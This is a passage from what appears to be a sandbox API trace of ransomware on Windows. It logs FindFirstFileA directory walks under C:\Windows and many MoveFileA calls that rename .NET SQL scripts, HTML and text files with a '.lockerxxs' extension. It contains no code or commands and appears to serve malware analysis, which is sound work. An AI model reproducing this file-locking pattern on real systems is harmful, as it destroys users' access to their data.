ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.337] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2052\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d522680, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d522680, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.342] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\2070\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5922fbc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d56e940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d56e940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.347] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\3082\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x59255d20, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5487e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5487e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520043, dwReserved1=0x500059, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.358] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\DHtmlHeader.html" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\dhtmlheader.html"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\DHtmlHeader.html.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\dhtmlheader.html.lockerxxs")) returned 1 [0139.360] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Graphics\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0x5d56e940, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5e0d60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5015a4, cFileName=".", cAlternateFileName="")) returned 0x502698 [0139.414] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x8ab69340, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x8ab69340, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.415] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0139.421] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql.lockerxxs")) returned 1 [0139.426] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql.lockerxxs")) returned 1 [0139.430] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql.lockerxxs")) returned 1 [0139.433] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql.lockerxxs")) returned 1 [0139.440] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql.lockerxxs")) returned 1 [0139.444] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql.lockerxxs")) returned 1 [0139.448] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql.lockerxxs")) returned 1 [0139.452] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql.lockerxxs")) returned 1 [0139.458] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql.lockerxxs")) returned 1 [0139.462] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql.lockerxxs")) returned 1 [0139.468] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql.lockerxxs")) returned 1 [0139.483] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\tracking_logic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\tracking_logic.sql.lockerxxs")) returned 1 [0139.489] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\tracking_schema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\tracking_schema.sql.lockerxxs")) returned 1 [0139.543] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Temporary ASP.NET Files\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7898780, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa7898780, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa7898780, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.548] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ThirdPartyNotices.txt" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\thirdpartynotices.txt"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ThirdPartyNotices.txt.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\thirdpartynotices.txt.lockerxxs")) returned 1 [0139.554] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallcommon.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallCommon.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallcommon.sql.lockerxxs")) returned 1 [0139.559] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallmembership.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallMembership.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallmembership.sql.lockerxxs")) returned 1 [0139.600] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersistsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersistSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersistsqlstate.sql.lockerxxs")) returned 1 [0139.606] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersonalization.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersonalization.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersonalization.sql.lockerxxs")) returned 1 [0139.611] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UnInstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallprofile.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UnInstallProfile.SQL.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallprofile.sql.lockerxxs")) returned 1 [0139.616] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallroles.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallRoles.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallroles.sql.lockerxxs")) returned 1 [0139.621] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstate.sql.lockerxxs")) returned 1 [0139.626] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstatetemplate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlStateTemplate.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstatetemplate.sql.lockerxxs")) returned 1 [0139.631] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallwebeventsqlprovider.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallWebEventSqlProvider.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallwebeventsqlprovider.sql.lockerxxs")) returned 1 [0139.634] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b8e7fa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b8e7fa0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4ff590, cFileName=".", cAlternateFileName="")) returned 0x502518 [0139.642] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\en-US\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f355da0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5f355da0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f355da0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0139.646] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\WPF\\Fonts\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8abdb760, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcf5ff460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xcf5ff460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0139.668] FindFirstFileA (in: lpFileName="C:\\Windows\\Migration\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a9ce00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56a9ce00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56a9ce00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0139.669] FindFirstFileA (in: lpFileName="C:\\Windows\\Migration\\WTR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a9ce00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x5d5e0d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5d5e0d60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0139.671] FindFirstFileA (in: lpFileName="C:\\Windows\\ModemLogs\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea5f2b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea5f2b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9fcbcbb0, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0139.672] FindFirstFileA (in: lpFileName="C:\\Windows\\Offline Web Pages\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0139.675] FindFirstFileA (in: lpFileName="C:\\Windows\\Panther\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3172800, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x281b0dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x281b0dc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0139.678] FindFirstFileA (in: lpFileName="C:\\Windows\\Panther\\actionqueue\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83e28960, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x10d9ce80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x10d9ce80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0139.687] FindFirstFileA (in: lpFileName="C:\\Windows\\Panther\\setup.exe\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3172800, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x60481880, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60481880, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0139.689] FindFirstFileA (in: lpFileName="C:\\Windows\\Panther\\UnattendGC\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f5a0f00, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x5f639480, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x5f639480, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153e, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0139.694] FindFirstFileA (in: lpFileName="C:\\Windows\\PCHEALTH\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0139.696] FindFirstFileA (in: lpFileName="C:\\Windows\\PCHEALTH\\ERRORREP\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0139.697] FindFirstFileA (in: lpFileName="C:\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0139.698] FindFirstFileA (in: lpFileName="C:\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0139.698] FindFirstFileA (in: lpFileName="C:\\Windows\\Performance\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520045, dwReserved1=0x4f0052, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0139.699] FindFirstFileA (in: lpFileName="C:\\Windows\\Performance\\WinSAT\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x20ab1416, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x20ab1416, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530051, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) 